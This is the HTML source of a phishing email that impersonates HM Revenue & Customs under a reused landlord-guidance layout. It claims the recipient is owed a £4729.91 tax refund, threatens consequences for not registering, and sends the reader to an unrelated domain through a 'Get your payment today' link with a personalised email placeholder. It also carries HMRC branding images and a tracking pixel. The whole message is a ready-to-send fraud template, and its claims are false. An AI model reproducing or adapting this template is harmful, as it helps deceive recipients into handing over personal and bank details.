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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title> Up to date guidance for landlords </title> </head> <body style="font: 13px/1.5 Arial, Helvetica, sans-serif;margin:0;padding:0;width:100%!important;"> <table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" style="width: 100%;"> <tbody> <tr bgcolor="#ffffff"> <td align="center" style="background-color: #ffffff; padding: 0px; font-size:1px; font-family:'Helvetica Neue', Helvetica, Arial, sans-serif; color:#ffffff" valign="top"> </td> </tr> </tbody> </table> <table width="700" border="0" cellspacing="0" cellpadding="0" align="center"> <tr> <td> <a name="gd_top"></a><table width="100%" cellpadding="0" cellspacing="0" border="0" align="center" class="gd_tbl_wrap"><tr><td style="text-align: center; background-color: #CDCDCD; font: 13px/1.5 Arial, Helvetica, sans-serif;margin: 0; padding: 0; width:100%!important;" bgcolor="#CDCDCD"> <table id="gd_ab_main_tab" width="600" align="center" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px; text-align: left; margin: 20px auto;"> <tr><td width="600" id="gd_ab_viewthis" data-govdstyle="all" data-govdtitle="View This" style="width: 600px; border-collapse: collapse; vertical-align: top; background-color: #FFFFFF; padding: 0px;" bgcolor="#FFFFFF" valign="top"><img class="govd_template_image" src="http://content.govdelivery.com/attachments/fancy_images/UKHMRCED/2013/07/202349/206958/white-space_original_crop.jpg" style="width: 600px; height: 10px; border: 0px none;" alt="Spacer Graphic" width="600" height="10"></td></tr> <tr><td width="600" id="gd_ab_whiterow" data-govdstyle="all" data-govdtitle="White Row" style="width: 600px; border-collapse: collapse; vertical-align: top; background-color: #007D7C;" bgcolor="#007D7C" valign="top"> <img class="govd_template_image" src="http://content.govdelivery.com/attachments/fancy_images/UKSMBC/2014/11/394034/410461/hmrc-header-original_crop.png" style="width: 600px; height: 89px; border: 0px none;" alt="HM Revenue and Customs" width="600" height="89"><img class="govd_template_image" src="http://content.govdelivery.com/attachments/fancy_images/UKHMRCED/2013/07/202276/207004/green-spacer_original_crop.jpg" style="width: 600px; height: 20px; border: 0px none;" alt="Spacer Graphic" width="600" height="20"> </td></tr> <tr><td width="600" height="947" valign="top" bgcolor="#FFFFFF" id="gd_ab_header" style="width: 600px; border-collapse: collapse; vertical-align: top; background-color: #FFFFFF; padding: 0px 20px;" data-govdstyle="all" data-govdtitle="Masthead"> <div style="font-weight:600;padding:15px 0px; border-top:2px solid #000131;border-bottom:1px solid #000131;color: #000131;font-size:18px;"> <p>Dear #CLIENT#, </p> <p>HM Revenue & Customs owes you £4729.91</p> <p>This is the second reminder notice if you miss and you dont register you will suffer the consequences of the new law in force.</p> <p>This means that the amount of Income Tax you will pay will change.</p> <div> <p>You can get your refund fast, straight into your bank account, if you claim online through your Personal Tax Account</a></p> </div> <p>If you claim online you could receive your refund within 3 to 5 days.</p> <p><a href="https://ledsupply.com/muc/##EMAIL##">Get your payment today</a></p> <p> Issuing date - Saturday<span id="ctdat">, 28 August 2021</span></p> <p> Follow the instructions on your screen. </li> </p> <strong style="color:#000131"><br /> Why you have paid too much tax?</strong> <br /> <p>Each year we check everyone Pay As You Earn account to see if the correct amount of income Tax was collected . We have now looked at the latest information we hold for this year and have worked out that you have paid too much tax. We provide a full calculation and explanation in this document .</p> <table align="left" border="0" cellpadding="0" cellspacing="0" style="FONT-SIZE: 13px; FONT-FAMILY: Arial; COLOR: rgb(83,83,83)" width="560"> <tr> <td style="FONT-SIZE: 13px; FONT-WEIGHT: bold; COLOR: rgb(45,45,45)"> Note:</td> </tr> <tr> <td style="FONT-SIZE: 13px; PADDING-BOTTOM: 5px; PADDING-TOP: 15px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <span style="FONT-SIZE: 13px; FONT-FAMILY: Roboto, "Helvetica Neue", Helvetica, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WEIGHT: normal; COLOR: rgb(102,102,102); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING: normal; TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps: normal"> If you don't complete the required form, you will not receive your refund.</span></td> </tr> </table> </p> </div> </td> </tr> <tr><td width="600" id="gd_ab_main_body" data-govdstyle="all" data-govdtitle="Main body" style="width: 600px; border-collapse: collapse; vertical-align: top; background-color: #FFFFFF; padding: 0px 20px;" bgcolor="#FFFFFF" valign="top"> <p class="gd_p" style="text-align: left; color: #000000; margin: 1em 0px; font: 14px/1.5 helvetica;" align="left"><span>HMRC help and support for landlords.</span></p> </td></tr> <tr><td width="600" id="gd_ab_footer" data-govdstyle="all" data-govdtitle="Footer" style="width: 600px; border-collapse: collapse; vertical-align: top; background-color: #FFFFFF; padding: 0px 20px 20px;" bgcolor="#FFFFFF" valign="top"><p class="gd_p" style="text-align: left; color: #000000; margin: 14px 0px; font: 14px/1.5 helvetica;" align="left">Peter Miller </p> <p class="gd_p" style="text-align: left; color: #000000; margin: 14px 0px; font: 14px/1.5 helvetica;" align="left">Head of Digital Support for Business and Agents</p> <div class="govd_hr"><div class="govd_hr_inner"><hr></div></div> </td></tr> </table> </td></tr></table> <div id="mail_footer"> </div> <div id="tagline"> <hr> </div> </td> </tr> </table> <img src="https://links.advice.hmrc.gov.uk/track?enid=ZWFzPTEmbXNpZD0mYXVpZD0mbWFpbGluZ2lkPTIwMTgwNTEwLjg5NTc3MzAxJm1lc3NhZ2VpZD1NREItUFJELUJVTC0yMDE4MDUxMC44OTU3NzMwMSZkYXRhYmFzZWlkPTEwMDEmdHlwZT1vcGVuJnNlcmlhbD0xNzAwNzM2OCZlbWFpbGlkPXN1ZWtuaWdodDk1M0Bob3RtYWlsLmNvbSZ1c2VyaWQ9c3Vla25pZ2h0OTUzQGhvdG1haWwuY29tJnRhcmdldGlkPSZmbD0mZXh0cmE9TXVsdGl2YXJpYXRlSWQ9JiYm" width="1" height="1" style="border-width:0; border-style:hidden;" alt=""></body> </html>
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